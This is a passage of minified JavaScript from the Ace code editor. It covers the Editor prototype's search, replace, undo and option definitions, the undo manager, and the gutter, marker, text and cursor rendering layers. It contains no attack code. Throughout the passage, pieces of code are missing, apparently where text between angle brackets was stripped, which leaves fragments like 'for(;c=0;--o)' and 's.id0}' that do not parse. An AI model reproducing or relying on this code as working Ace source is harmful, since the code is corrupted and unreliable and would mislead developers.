this.session.documentToScreenPosition(this.getCursorPosition())},this.getSelectionRange=function(){return this.selection.getRange()},this.selectAll=function(){this.selection.selectAll()},this.clearSelection=function(){this.selection.clearSelection()},this.moveCursorTo=function(e,t){this.selection.moveCursorTo(e,t)},this.moveCursorToPosition=function(e){this.selection.moveCursorToPosition(e)},this.jumpToMatching=function(e,t){var i=this.getCursorPosition(),n=new w(this.session,i.row,i.column),s=n.getCurrentToken(),o=s||n.stepForward();if(o){var r,a,l=!1,h={},c=i.column-o.start,u={")":"(","(":"(","]":"[","[":"[","{":"{","}":"{"};do{if(o.value.match(/[{}()\[\]]/g)){for(;c=0;--o)this.$tryReplace(i[o],e)&&n++;return this.selection.setSelectionRange(s),n},this.$tryReplace=function(e,t){var i=this.session.getTextRange(e);return null!==(t=this.$search.replace(i,t))?(e.end=this.session.replace(e,t),e):null},this.getLastSearchOptions=function(){return this.$search.getOptions()},this.find=function(e,t,i){t||(t={}),"string"==typeof e||e instanceof RegExp?t.needle=e:"object"==typeof e&&n.mixin(t,e);var s=this.selection.getRange();null==t.needle&&((e=this.session.getTextRange(s)||this.$search.$options.needle)||(s=this.session.getWordRange(s.start.row,s.start.column),e=this.session.getTextRange(s)),this.$search.set({needle:e})),this.$search.set(t),t.start||this.$search.set({start:s});var o=this.$search.find(this.session);return t.preventScroll?o:o?(this.revealRange(o,i),o):(t.backwards?s.start=s.end:s.end=s.start,void this.selection.setRange(s))},this.findNext=function(e,t){this.find({skipCurrent:!0,backwards:!1},e,t)},this.findPrevious=function(e,t){this.find(e,{skipCurrent:!0,backwards:!0},t)},this.revealRange=function(e,t){this.session.unfold(e),this.selection.setSelectionRange(e);var i=this.renderer.scrollTop;this.renderer.scrollSelectionIntoView(e.start,e.end,.5),!1!==t&&this.renderer.animateScrolling(i)},this.undo=function(){this.session.getUndoManager().undo(this.session),this.renderer.scrollCursorIntoView(null,.5)},this.redo=function(){this.session.getUndoManager().redo(this.session),this.renderer.scrollCursorIntoView(null,.5)},this.destroy=function(){this.$toDestroy&&(this.$toDestroy.forEach((function(e){e.destroy()})),this.$toDestroy=null),this.$mouseHandler&&this.$mouseHandler.destroy(),this.renderer.destroy(),this._signal("destroy",this),this.session&&this.session.destroy(),this._$emitInputEvent&&this._$emitInputEvent.cancel(),this.removeAllListeners()},this.setAutoScrollEditorIntoView=function(e){if(e){var t,i=this,n=!1;this.$scrollAnchor||(this.$scrollAnchor=document.createElement("div"));var s=this.$scrollAnchor;s.style.cssText="position:absolute",this.container.insertBefore(s,this.container.firstChild);var o=this.on("changeSelection",(function(){n=!0})),r=this.renderer.on("beforeRender",(function(){n&&(t=i.renderer.container.getBoundingClientRect())})),a=this.renderer.on("afterRender",(function(){if(n&&t&&(i.isFocused()||i.searchBox&&i.searchBox.isFocused())){var e=i.renderer,o=e.$cursorLayer.$pixelPos,r=e.layerConfig,a=o.top-r.offset;null!=(n=o.top>=0&&a+t.top<0||!(o.topwindow.innerHeight)&&null)&&(s.style.top=a+"px",s.style.left=o.left+"px",s.style.height=r.lineHeight+"px",s.scrollIntoView(n)),n=t=null}}));this.setAutoScrollEditorIntoView=function(e){e||(delete this.setAutoScrollEditorIntoView,this.off("changeSelection",o),this.renderer.off("afterRender",a),this.renderer.off("beforeRender",r))}}},this.$resetCursorStyle=function(){var e=this.$cursorStyle||"ace",t=this.renderer.$cursorLayer;t&&(t.setSmoothBlinking(/smooth/.test(e)),t.isBlinking=!this.$readOnly&&"wide"!=e,s.setCssClass(t.element,"ace_slim-cursors",/slim/.test(e)))},this.prompt=function(e,t,i){var n=this;v.loadModule("./ext/prompt",(function(s){s.prompt(n,e,t,i)}))}}.call(b.prototype),v.defineOptions(b.prototype,"editor",{selectionStyle:{set:function(e){this.onSelectionChange(),this._signal("changeSelectionStyle",{data:e})},initialValue:"line"},highlightActiveLine:{set:function(){this.$updateHighlightActiveLine()},initialValue:!0},highlightSelectedWord:{set:function(e){this.$onSelectionChange()},initialValue:!0},readOnly:{set:function(e){this.textInput.setReadOnly(e),this.$resetCursorStyle()},initialValue:!1},copyWithEmptySelection:{set:function(e){this.textInput.setCopyWithEmptySelection(e)},initialValue:!1},cursorStyle:{set:function(e){this.$resetCursorStyle()},values:["ace","slim","smooth","wide"],initialValue:"ace"},mergeUndoDeltas:{values:[!1,!0,"always"],initialValue:!0},behavioursEnabled:{initialValue:!0},wrapBehavioursEnabled:{initialValue:!0},enableAutoIndent:{initialValue:!0},autoScrollEditorIntoView:{set:function(e){this.setAutoScrollEditorIntoView(e)}},keyboardHandler:{set:function(e){this.setKeyboardHandler(e)},get:function(){return this.$keybindingId},handlesSet:!0},value:{set:function(e){this.session.setValue(e)},get:function(){return this.getValue()},handlesSet:!0,hidden:!0},session:{set:function(e){this.setSession(e)},get:function(){return this.session},handlesSet:!0,hidden:!0},showLineNumbers:{set:function(e){this.renderer.$gutterLayer.setShowLineNumbers(e),this.renderer.$loop.schedule(this.renderer.CHANGE_GUTTER),e&&this.$relativeLineNumbers?y.attach(this):y.detach(this)},initialValue:!0},relativeLineNumbers:{set:function(e){this.$showLineNumbers&&e?y.attach(this):y.detach(this)}},placeholder:{set:function(e){this.$updatePlaceholder||(this.$updatePlaceholder=function(){var e=this.session&&(this.renderer.$composition||this.getValue());if(e&&this.renderer.placeholderNode)this.renderer.off("afterRender",this.$updatePlaceholder),s.removeCssClass(this.container,"ace_hasPlaceholder"),this.renderer.placeholderNode.remove(),this.renderer.placeholderNode=null;else if(e||this.renderer.placeholderNode)!e&&this.renderer.placeholderNode&&(this.renderer.placeholderNode.textContent=this.$placeholder||"");else{this.renderer.on("afterRender",this.$updatePlaceholder),s.addCssClass(this.container,"ace_hasPlaceholder");var t=s.createElement("div");t.className="ace_placeholder",t.textContent=this.$placeholder||"",this.renderer.placeholderNode=t,this.renderer.content.appendChild(this.renderer.placeholderNode)}}.bind(this),this.on("input",this.$updatePlaceholder)),this.$updatePlaceholder()}},hScrollBarAlwaysVisible:"renderer",vScrollBarAlwaysVisible:"renderer",highlightGutterLine:"renderer",animatedScroll:"renderer",showInvisibles:"renderer",showPrintMargin:"renderer",printMarginColumn:"renderer",printMargin:"renderer",fadeFoldWidgets:"renderer",showFoldWidgets:"renderer",displayIndentGuides:"renderer",showGutter:"renderer",fontSize:"renderer",fontFamily:"renderer",maxLines:"renderer",minLines:"renderer",scrollPastEnd:"renderer",fixedWidthGutter:"renderer",theme:"renderer",hasCssTransforms:"renderer",maxPixelHeight:"renderer",useTextareaForIME:"renderer",scrollSpeed:"$mouseHandler",dragDelay:"$mouseHandler",dragEnabled:"$mouseHandler",focusTimeout:"$mouseHandler",tooltipFollowsMouse:"$mouseHandler",firstLineNumber:"session",overwrite:"session",newLineMode:"session",useWorker:"session",useSoftTabs:"session",navigateWithinSoftTabs:"session",tabSize:"session",wrap:"session",indentedSoftWrap:"session",foldStyle:"session",mode:"session"});var y={getText:function(e,t){return(Math.abs(e.selection.lead.row-t)||t+1+(t<9?"·":""))+""},getWidth:function(e,t,i){return Math.max(t.toString().length,(i.lastRow+1).toString().length,2)*i.characterWidth},update:function(e,t){t.renderer.$loop.schedule(t.renderer.CHANGE_GUTTER)},attach:function(e){e.renderer.$gutterLayer.$renderer=this,e.on("changeSelection",this.update),this.update(null,e)},detach:function(e){e.renderer.$gutterLayer.$renderer==this&&(e.renderer.$gutterLayer.$renderer=null),e.off("changeSelection",this.update),this.update(null,e)}};t.Editor=b})),define("ace/undomanager",["require","exports","module","ace/range"],(function(e,t,i){"use strict";var n=function(){this.$maxRev=0,this.$fromUndo=!1,this.reset()};(function(){this.addSession=function(e){this.$session=e},this.add=function(e,t,i){this.$fromUndo||e!=this.$lastDelta&&(this.$keepRedoStack||(this.$redoStack.length=0),!1!==t&&this.lastDeltas||(this.lastDeltas=[],this.$undoStack.push(this.lastDeltas),e.id=this.$rev=++this.$maxRev),"remove"!=e.action&&"insert"!=e.action||(this.$lastDelta=e),this.lastDeltas.push(e))},this.addSelection=function(e,t){this.selections.push({value:e,rev:t||this.$rev})},this.startNewGroup=function(){return this.lastDeltas=null,this.$rev},this.markIgnored=function(e,t){null==t&&(t=this.$rev+1);for(var i=this.$undoStack,n=i.length;n--;){var s=i[n][0];if(s.id<=e)break;s.id0},this.canRedo=function(){return this.$redoStack.length>0},this.bookmark=function(e){null==e&&(e=this.$rev),this.mark=e},this.isAtBookmark=function(){return this.$rev===this.mark},this.toJSON=function(){},this.fromJSON=function(){},this.hasUndo=this.canUndo,this.hasRedo=this.canRedo,this.isClean=this.isAtBookmark,this.markClean=this.bookmark,this.$prettyPrint=function(e){return e?a(e):a(this.$undoStack)+"\n---\n"+a(this.$redoStack)}}).call(n.prototype);var s=e("./range").Range,o=s.comparePoints;s.comparePoints;function r(e){return{row:e.row,column:e.column}}function a(e){if(e=e||this,Array.isArray(e))return e.map(a).join("\n");var t="";return e.action?(t="insert"==e.action?"+":"-",t+="["+e.lines+"]"):e.value&&(t=Array.isArray(e.value)?e.value.map(l).join("\n"):l(e.value)),e.start&&(t+=l(e)),(e.id||e.rev)&&(t+="\t("+(e.id||e.rev)+")"),t}function l(e){return e.start.row+":"+e.start.column+"=>"+e.end.row+":"+e.end.column}function h(e,t){var i="insert"==e.action,n="insert"==t.action;if(i&&n)if(o(t.start,e.end)>=0)d(t,e,-1);else{if(!(o(t.start,e.start)<=0))return null;d(e,t,1)}else if(i&&!n)if(o(t.start,e.end)>=0)d(t,e,-1);else{if(!(o(t.end,e.start)<=0))return null;d(e,t,-1)}else if(!i&&n)if(o(t.start,e.start)>=0)d(t,e,1);else{if(!(o(t.start,e.start)<=0))return null;d(e,t,1)}else if(!i&&!n)if(o(t.start,e.start)>=0)d(t,e,1);else{if(!(o(t.end,e.start)<=0))return null;d(e,t,-1)}return[t,e]}function c(e,t){for(var i=e.length;i--;)for(var n=0;n=0?d(e,t,-1):(o(e.start,t.start)<=0||d(e,s.fromPoints(t.start,e.start),-1),d(t,e,1));else if(!i&&n)o(t.start,e.end)>=0?d(t,e,-1):(o(t.start,e.start)<=0||d(t,s.fromPoints(e.start,t.start),-1),d(e,t,1));else if(!i&&!n)if(o(t.start,e.end)>=0)d(t,e,-1);else{var r,a;if(!(o(t.end,e.start)<=0))return o(e.start,t.start)<0&&(r=e,e=f(e,t.start)),o(e.end,t.end)>0&&(a=f(e,t.end)),g(t.end,e.start,e.end,-1),a&&!r&&(e.lines=a.lines,e.start=a.start,e.end=a.end,a=e),[t,r,a].filter(Boolean);d(e,t,-1)}return[t,e]}function d(e,t,i){g(e.start,t.start,t.end,i),g(e.end,t.start,t.end,i)}function g(e,t,i,n){e.row==(1==n?t:i).row&&(e.column+=n*(i.column-t.column)),e.row+=n*(i.row-t.row)}function f(e,t){var i=e.lines,n=e.end;e.end=r(t);var s=e.end.row-e.start.row,o=i.splice(s,i.length),a=s?t.column:t.column-e.start.column;return i.push(o[0].substring(0,a)),o[0]=o[0].substr(a),{start:r(t),end:n,lines:o,action:e.action}}function m(e,t){t=function(e){return{start:r(e.start),end:r(e.end),action:e.action,lines:e.lines.slice()}}(t);for(var i=e.length;i--;){for(var n=e[i],s=0;so&&(l=s.end.row+1,o=(s=t.getNextFoldLine(l,s))?s.start.row:1/0),l>n){for(;this.$lines.getLength()>a+1;)this.$lines.pop();break}(r=this.$lines.get(++a))?r.row=l:(r=this.$lines.createCell(l,e,this.session,h),this.$lines.push(r)),this.$renderCell(r,e,s,l),l++}this._signal("afterRender"),this.$updateGutterWidth(e)},this.$updateGutterWidth=function(e){var t=this.session,i=t.gutterRenderer||this.$renderer,n=t.$firstLineNumber,s=this.$lines.last()?this.$lines.last().text:"";(this.$fixedWidth||t.$useWrapMode)&&(s=t.getLength()+n-1);var o=i?i.getWidth(t,s,e):s.toString().length*e.characterWidth,r=this.$padding||this.$computePadding();(o+=r.left+r.right)===this.gutterWidth||isNaN(o)||(this.gutterWidth=o,this.element.parentNode.style.width=this.element.style.width=Math.ceil(this.gutterWidth)+"px",this._signal("changeGutterWidth",o))},this.$updateCursorRow=function(){if(this.$highlightGutterLine){var e=this.session.selection.getCursor();this.$cursorRow!==e.row&&(this.$cursorRow=e.row)}},this.updateLineHighlight=function(){if(this.$highlightGutterLine){var e=this.session.selection.cursor.row;if(this.$cursorRow=e,!this.$cursorCell||this.$cursorCell.row!=e){this.$cursorCell&&(this.$cursorCell.element.className=this.$cursorCell.element.className.replace("ace_gutter-active-line ",""));var t=this.$lines.cells;this.$cursorCell=null;for(var i=0;i=this.$cursorRow){if(n.row>this.$cursorRow){var s=this.session.getFoldLine(this.$cursorRow);if(!(i>0&&s&&s.start.row==t[i-1].row))break;n=t[i-1]}n.element.className="ace_gutter-active-line "+n.element.className,this.$cursorCell=n;break}}}}},this.scrollLines=function(e){var t=this.config;if(this.config=e,this.$updateCursorRow(),this.$lines.pageChanged(t,e))return this.update(e);this.$lines.moveContainer(e);var i=Math.min(e.lastRow+e.gutterOffset,this.session.getLength()-1),n=this.oldLastRow;if(this.oldLastRow=i,!t||n0;s--)this.$lines.shift();if(n>i)for(s=this.session.getFoldedRowCount(i+1,n);s>0;s--)this.$lines.pop();e.firstRown&&this.$lines.push(this.$renderLines(e,n+1,i)),this.updateLineHighlight(),this._signal("afterRender"),this.$updateGutterWidth(e)},this.$renderLines=function(e,t,i){for(var n=[],s=t,o=this.session.getNextFoldLine(s),r=o?o.start.row:1/0;s>r&&(s=o.end.row+1,r=(o=this.session.getNextFoldLine(s,o))?o.start.row:1/0),!(s>i);){var a=this.$lines.createCell(s,e,this.session,h);this.$renderCell(a,e,o,s),n.push(a),s++}return n},this.$renderCell=function(e,t,i,s){var o=e.element,r=this.session,a=o.childNodes[0],l=o.childNodes[1],h=r.$firstLineNumber,c=r.$breakpoints,u=r.$decorations,d=r.gutterRenderer||this.$renderer,g=this.$showFoldWidgets&&r.foldWidgets,f=i?i.start.row:Number.MAX_VALUE,m="ace_gutter-cell ";if(this.$highlightGutterLine&&(s==this.$cursorRow||i&&s=f&&this.$cursorRow<=i.end.row)&&(m+="ace_gutter-active-line ",this.$cursorCell!=e&&(this.$cursorCell&&(this.$cursorCell.element.className=this.$cursorCell.element.className.replace("ace_gutter-active-line ","")),this.$cursorCell=e)),c[s]&&(m+=c[s]),u[s]&&(m+=u[s]),this.$annotations[s]&&(m+=this.$annotations[s].className),o.className!=m&&(o.className=m),g){var p=g[s];null==p&&(p=g[s]=r.getFoldWidget(s))}if(p){m="ace_fold-widget ace_"+p;"start"==p&&s==f&&si.right-t.right?"foldWidgets":void 0}}).call(l.prototype),t.Gutter=l})),define("ace/layer/marker",["require","exports","module","ace/range","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("../range").Range,s=e("../lib/dom"),o=function(e){this.element=s.createElement("div"),this.element.className="ace_layer ace_marker-layer",e.appendChild(this.element)};(function(){this.$padding=0,this.setPadding=function(e){this.$padding=e},this.setSession=function(e){this.session=e},this.setMarkers=function(e){this.markers=e},this.elt=function(e,t){var i=-1!=this.i&&this.element.childNodes[this.i];i?this.i++:(i=document.createElement("div"),this.element.appendChild(i),this.i=-1),i.style.cssText=t,i.className=e},this.update=function(e){if(e){var t;for(var i in this.config=e,this.i=0,this.markers){var n=this.markers[i];if(n.range){var s=n.range.clipRows(e.firstRow,e.lastRow);if(!s.isEmpty())if(s=s.toScreenRange(this.session),n.renderer){var o=this.$getTop(s.start.row,e),r=this.$padding+s.start.column*e.characterWidth;n.renderer(t,s,r,o,e)}else"fullLine"==n.type?this.drawFullLineMarker(t,s,n.clazz,e):"screenLine"==n.type?this.drawScreenLineMarker(t,s,n.clazz,e):s.isMultiLine()?"text"==n.type?this.drawTextMarker(t,s,n.clazz,e):this.drawMultiLineMarker(t,s,n.clazz,e):this.drawSingleLineMarker(t,s,n.clazz+" ace_start ace_br15",e)}else n.update(t,this,this.session,e)}if(-1!=this.i)for(;this.id?4:0)|(h==l?8:0)),s,h==l?0:1,o)},this.drawMultiLineMarker=function(e,t,i,n,s){var o=this.$padding,r=n.lineHeight,a=this.$getTop(t.start.row,n),l=o+t.start.column*n.characterWidth;(s=s||"",this.session.$bidiHandler.isBidiRow(t.start.row))?((h=t.clone()).end.row=h.start.row,h.end.column=this.session.getLine(h.start.row).length,this.drawBidiSingleLineMarker(e,h,i+" ace_br1 ace_start",n,null,s)):this.elt(i+" ace_br1 ace_start","height:"+r+"px;right:0;top:"+a+"px;left:"+l+"px;"+(s||""));if(this.session.$bidiHandler.isBidiRow(t.end.row)){var h;(h=t.clone()).start.row=h.end.row,h.start.column=0,this.drawBidiSingleLineMarker(e,h,i+" ace_br12",n,null,s)}else{a=this.$getTop(t.end.row,n);var c=t.end.column*n.characterWidth;this.elt(i+" ace_br12","height:"+r+"px;width:"+c+"px;top:"+a+"px;left:"+o+"px;"+(s||""))}if(!((r=(t.end.row-t.start.row-1)*n.lineHeight)<=0)){a=this.$getTop(t.start.row+1,n);var u=(t.start.column?1:0)|(t.end.column?0:8);this.elt(i+(u?" ace_br"+u:""),"height:"+r+"px;right:0;top:"+a+"px;left:"+o+"px;"+(s||""))}},this.drawSingleLineMarker=function(e,t,i,n,s,o){if(this.session.$bidiHandler.isBidiRow(t.start.row))return this.drawBidiSingleLineMarker(e,t,i,n,s,o);var r=n.lineHeight,a=(t.end.column+(s||0)-t.start.column)*n.characterWidth,l=this.$getTop(t.start.row,n),h=this.$padding+t.start.column*n.characterWidth;this.elt(i,"height:"+r+"px;width:"+a+"px;top:"+l+"px;left:"+h+"px;"+(o||""))},this.drawBidiSingleLineMarker=function(e,t,i,n,s,o){var r=n.lineHeight,a=this.$getTop(t.start.row,n),l=this.$padding;this.session.$bidiHandler.getSelections(t.start.column,t.end.column).forEach((function(e){this.elt(i,"height:"+r+"px;width:"+e.width+(s||0)+"px;top:"+a+"px;left:"+(l+e.left)+"px;"+(o||""))}),this)},this.drawFullLineMarker=function(e,t,i,n,s){var o=this.$getTop(t.start.row,n),r=n.lineHeight;t.start.row!=t.end.row&&(r+=this.$getTop(t.end.row,n)-o),this.elt(i,"height:"+r+"px;top:"+o+"px;left:0;right:0;"+(s||""))},this.drawScreenLineMarker=function(e,t,i,n,s){var o=this.$getTop(t.start.row,n),r=n.lineHeight;this.elt(i,"height:"+r+"px;top:"+o+"px;left:0;right:0;"+(s||""))}}).call(o.prototype),t.Marker=o})),define("ace/layer/text",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/lang","ace/layer/lines","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("../lib/oop"),s=e("../lib/dom"),o=e("../lib/lang"),r=e("./lines").Lines,a=e("../lib/event_emitter").EventEmitter,l=function(e){this.dom=s,this.element=this.dom.createElement("div"),this.element.className="ace_layer ace_text-layer",e.appendChild(this.element),this.$updateEolChar=this.$updateEolChar.bind(this),this.$lines=new r(this.element)};(function(){n.implement(this,a),this.EOF_CHAR="¶",this.EOL_CHAR_LF="¬",this.EOL_CHAR_CRLF="¤",this.EOL_CHAR=this.EOL_CHAR_LF,this.TAB_CHAR="—",this.SPACE_CHAR="·",this.$padding=0,this.MAX_LINE_LENGTH=1e4,this.$updateEolChar=function(){var e=this.session.doc,t="\n"==e.getNewLineCharacter()&&"windows"!=e.getNewLineMode()?this.EOL_CHAR_LF:this.EOL_CHAR_CRLF;if(this.EOL_CHAR!=t)return this.EOL_CHAR=t,!0},this.setPadding=function(e){this.$padding=e,this.element.style.margin="0 "+e+"px"},this.getLineHeight=function(){return this.$fontMetrics.$characterSize.height||0},this.getCharacterWidth=function(){return this.$fontMetrics.$characterSize.width||0},this.$setFontMetrics=function(e){this.$fontMetrics=e,this.$fontMetrics.on("changeCharacterSize",function(e){this._signal("changeCharacterSize",e)}.bind(this)),this.$pollSizeChanges()},this.checkForSizeChanges=function(){this.$fontMetrics.checkForSizeChanges()},this.$pollSizeChanges=function(){return this.$pollSizeChangesTimer=this.$fontMetrics.$pollSizeChanges()},this.setSession=function(e){this.session=e,e&&this.$computeTabString()},this.showInvisibles=!1,this.showSpaces=!1,this.showTabs=!1,this.showEOL=!1,this.setShowInvisibles=function(e){return this.showInvisibles!=e&&(this.showInvisibles=e,"string"==typeof e?(this.showSpaces=/tab/i.test(e),this.showTabs=/space/i.test(e),this.showEOL=/eol/i.test(e)):this.showSpaces=this.showTabs=this.showEOL=e,this.$computeTabString(),!0)},this.displayIndentGuides=!0,this.setDisplayIndentGuides=function(e){return this.displayIndentGuides!=e&&(this.displayIndentGuides=e,this.$computeTabString(),!0)},this.$tabStrings=[],this.onChangeTabSize=this.$computeTabString=function(){var e=this.session.getTabSize();this.tabSize=e;for(var t=this.$tabStrings=[0],i=1;ic&&(a=l.end.row+1,c=(l=this.session.getNextFoldLine(a,l))?l.start.row:1/0),!(a>s);){var u=o[r++];if(u){this.dom.removeChildren(u),this.$renderLine(u,a,a==c&&l),h&&(u.style.top=this.$lines.computeLineTop(a,e,this.session)+"px");var d=e.lineHeight*this.session.getRowLength(a)+"px";u.style.height!=d&&(h=!0,u.style.height=d)}a++}if(h)for(;r0;s--)this.$lines.shift();if(t.lastRow>e.lastRow)for(s=this.session.getFoldedRowCount(e.lastRow+1,t.lastRow);s>0;s--)this.$lines.pop();e.firstRowt.lastRow&&this.$lines.push(this.$renderLinesFragment(e,t.lastRow+1,e.lastRow))},this.$renderLinesFragment=function(e,t,i){for(var n=[],o=t,r=this.session.getNextFoldLine(o),a=r?r.start.row:1/0;o>a&&(o=r.end.row+1,a=(r=this.session.getNextFoldLine(o,r))?r.start.row:1/0),!(o>i);){var l=this.$lines.createCell(o,e,this.session),h=l.element;this.dom.removeChildren(h),s.setStyle(h.style,"height",this.$lines.computeLineHeight(o,e,this.session)+"px"),s.setStyle(h.style,"top",this.$lines.computeLineTop(o,e,this.session)+"px"),this.$renderLine(h,o,o==a&&r),this.$useLineGroups()?h.className="ace_line_group":h.className="ace_line",n.push(l),o++}return n},this.update=function(e){this.$lines.moveContainer(e),this.config=e;for(var t=e.firstRow,i=e.lastRow,n=this.$lines;n.getLength();)n.pop();n.push(this.$renderLinesFragment(e,t,i))},this.$textToken={text:!0,rparen:!0,lparen:!0},this.$renderToken=function(e,t,i,n){for(var s,r=this,a=/(\t)|( +)|([\x00-\x1f\x80-\xa0\xad\u1680\u180E\u2000-\u200f\u2028\u2029\u202F\u205F\uFEFF\uFFF9-\uFFFC\u2066\u2067\u2068\u202A\u202B\u202D\u202E\u202C\u2069]+)|(\u3000)|([\u1100-\u115F\u11A3-\u11A7\u11FA-\u11FF\u2329-\u232A\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFB\u3001-\u303E\u3041-\u3096\u3099-\u30FF\u3105-\u312D\u3131-\u318E\u3190-\u31BA\u31C0-\u31E3\u31F0-\u321E\u3220-\u3247\u3250-\u32FE\u3300-\u4DBF\u4E00-\uA48C\uA490-\uA4C6\uA960-\uA97C\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFAFF\uFE10-\uFE19\uFE30-\uFE52\uFE54-\uFE66\uFE68-\uFE6B\uFF01-\uFF60\uFFE0-\uFFE6]|[\uD800-\uDBFF][\uDC00-\uDFFF])/g,l=this.dom.createFragment(this.element),h=0;s=a.exec(n);){var c=s[1],u=s[2],d=s[3],g=s[4],f=s[5];if(r.showSpaces||!u){var m=h!=s.index?n.slice(h,s.index):"";if(h=s.index+s[0].length,m&&l.appendChild(this.dom.createTextNode(m,this.element)),c){var p=r.session.getScreenTabSize(t+s.index);l.appendChild(r.$tabStrings[p].cloneNode(!0)),t+=p-1}else if(u){if(r.showSpaces)(w=this.dom.createElement("span")).className="ace_invisible ace_invisible_space",w.textContent=o.stringRepeat(r.SPACE_CHAR,u.length),l.appendChild(w);else l.appendChild(this.com.createTextNode(u,this.element))}else if(d){(w=this.dom.createElement("span")).className="ace_invisible ace_invisible_space ace_invalid",w.textContent=o.stringRepeat(r.SPACE_CHAR,d.length),l.appendChild(w)}else if(g){t+=1,(w=this.dom.createElement("span")).style.width=2*r.config.characterWidth+"px",w.className=r.showSpaces?"ace_cjk ace_invisible ace_invisible_space":"ace_cjk",w.textContent=r.showSpaces?r.SPACE_CHAR:g,l.appendChild(w)}else if(f){t+=1,(w=this.dom.createElement("span")).style.width=2*r.config.characterWidth+"px",w.className="ace_cjk",w.textContent=f,l.appendChild(w)}}}if(l.appendChild(this.dom.createTextNode(h?n.slice(h):n,this.element)),this.$textToken[i.type])e.appendChild(l);else{var v="ace_"+i.type.replace(/\./g," ace_"),w=this.dom.createElement("span");"fold"==i.type&&(w.style.width=i.value.length*this.config.characterWidth+"px"),w.className=v,w.appendChild(l),e.appendChild(w)}return t+n.length},this.renderIndentGuide=function(e,t,i){var n=t.search(this.$indentGuideRe);if(n<=0||n>=i)return t;if(" "==t[0]){for(var s=(n-=n%this.tabSize)/this.tabSize,o=0;o=r;)a=this.$renderToken(l,a,c,u.substring(0,r-n)),u=u.substring(r-n),n=r,l=this.$createLineElement(),e.appendChild(l),l.appendChild(this.dom.createTextNode(o.stringRepeat(" ",i.indent),this.element)),a=0,r=i[++s]||Number.MAX_VALUE;0!=u.length&&(n+=u.length,a=this.$renderToken(l,a,c,u))}}i[i.length-1]>this.MAX_LINE_LENGTH&&this.$renderOverflowMessage(l,a,null,"",!0)},this.$renderSimpleLine=function(e,t){for(var i=0,n=0;nthis.MAX_LINE_LENGTH)return this.$renderOverflowMessage(e,i,s,o);i=this.$renderToken(e,i,s,o)}}},this.$renderOverflowMessage=function(e,t,i,n,s){i&&this.$renderToken(e,t,i,n.slice(0,this.MAX_LINE_LENGTH-t));var o=this.dom.createElement("span");o.className="ace_inline_button ace_keyword ace_toggle_wrap",o.textContent=s?"":"",e.appendChild(o)},this.$renderLine=function(e,t,i){if(i||0==i||(i=this.session.getFoldLine(t)),i)var n=this.$getFoldLineTokens(t,i);else n=this.session.getTokens(t);var s=e;if(n.length){var o=this.session.getRowSplitData(t);if(o&&o.length){this.$renderWrappedLine(e,n,o);s=e.lastChild}else{s=e;this.$useLineGroups()&&(s=this.$createLineElement(),e.appendChild(s)),this.$renderSimpleLine(s,n)}}else this.$useLineGroups()&&(s=this.$createLineElement(),e.appendChild(s));if(this.showEOL&&s){i&&(t=i.end.row);var r=this.dom.createElement("span");r.className="ace_invisible ace_invisible_eol",r.textContent=t==this.session.getLength()-1?this.EOF_CHAR:this.EOL_CHAR,s.appendChild(r)}},this.$getFoldLineTokens=function(e,t){var i=this.session,n=[];var s=i.getTokens(e);return t.walk((function(e,t,o,r,a){null!=e?n.push({type:"fold",value:e}):(a&&(s=i.getTokens(t)),s.length&&function(e,t,i){for(var s=0,o=0;o+e[s].value.lengthi-t&&(r=r.substring(0,i-t)),n.push({type:e[s].type,value:r}),o=t+r.length,s+=1);oi?n.push({type:e[s].type,value:r.substring(0,i-o)}):n.push(e[s]),o+=r.length,s+=1}}(s,r,o))}),t.end.row,this.session.getLine(t.end.row).length),n},this.$useLineGroups=function(){return this.session.getUseWrapMode()},this.destroy=function(){}}).call(l.prototype),t.Text=l})),define("ace/layer/cursor",["require","exports","module","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("../lib/dom"),s=function(e){this.element=n.createElement("div"),this.element.className="ace_layer ace_cursor-layer",e.appendChild(this.element),this.isVisible=!1,this.isBlinking=!0,this.blinkInterval=1e3,this.smoothBlinking=!1,this.cursors=[],this.cursor=this.addCursor(),n.addCssClass(this.element,"ace_hidden-cursors"),this.$updateCursors=this.$updateOpacity.bind(this)};(function(){this.$updateOpacity=function(e){for(var t=this.cursors,i=t.length;i--;)n.setStyle(t[i].style,"opacity",e?"":"0")},this.$startCssAnimation=function(){for(var e=this.cursors,t=e.length;t--;)e[t].style.animationDuration=this.blinkInterval+"ms";this.$isAnimating=!0,setTimeout(function(){this.$isAnimating&&n.addCssClass(this.element,"ace_animate-blinking")}.bind(this))},this.$stopCssAnimation=function(){this.$isAnimating=!1,n.removeCssClass(this.element,"ace_animate-blinking")},this.$padding=0,this.setPadding=function(e){this.$padding=e},this.setSession=function(e){this.session=e},this.setBlinking=function(e){e!=this.isBlinking&&(this.isBlinking=e,this.restartTimer())},this.setBlinkInterval=function(e){e!=this.blinkInterval&&(this.blinkInterval=e,this.restartTimer())},this.setSmoothBlinking=function(e){e!=this.smoothBlinking&&(this.smoothBlinking=e,n.setCssClass(this.element,"ace_smooth-blinking",e),this.$updateCursors(!0),this.restartTimer())},this.addCursor=function(){var e=n.createElement("div");return e.className="ace_cursor",this.element.appendChild(e),this.cursors.push(e),e},this.removeCursor=function(){if(this.cursors.length>1){var e=this.cursors.pop();return e.parentNode.removeChild(e),e}},this.hideCursor=function(){this.isVisible=!1,n.addCssClass(this.element,"ace_hidden-cursors"),this.restartTimer()},this.showCursor=function(){this.isVisible=!0,n.removeCssClass(this.element,"ace_hidden-cursors"),this.restartTimer()},this.restartTimer=function(){var e=this.$updateCursors;if(clearInterval(this.intervalId),clearTimeout(this.timeoutId),this.$stopCssAnimation(),this.smoothBlinking&&(this.$isSmoothBlinking=!1,n.removeCssClass(this.element,"ace_smooth-blinking")),e(!0),this.isBlinking&&this.blinkInterval&&this.isVisible)if(this.smoothBlinking&&(this.$isSmoothBlinking=!0,setTimeout(function(){this.$isSmoothBlinking&&n.addCssClass(this.element,"ace_smooth-blinking")}.bind(this))),n.HAS_CSS_ANIMATION)this.$startCssAnimation();else{var t=function(){this.timeoutId=setTimeout((function(){e(!1)}),.6*this.blinkInterval)}.bind(this);this.intervalId=setInterval((function(){e(!0),t()}),this.blinkInterval),t()}else this.$stopCssAnimation()},this.getPixelPosition=function(e,t){if(!this.config||!this.session)return{left:0,top:0};e||(e=this.session.selection.getCursor());var 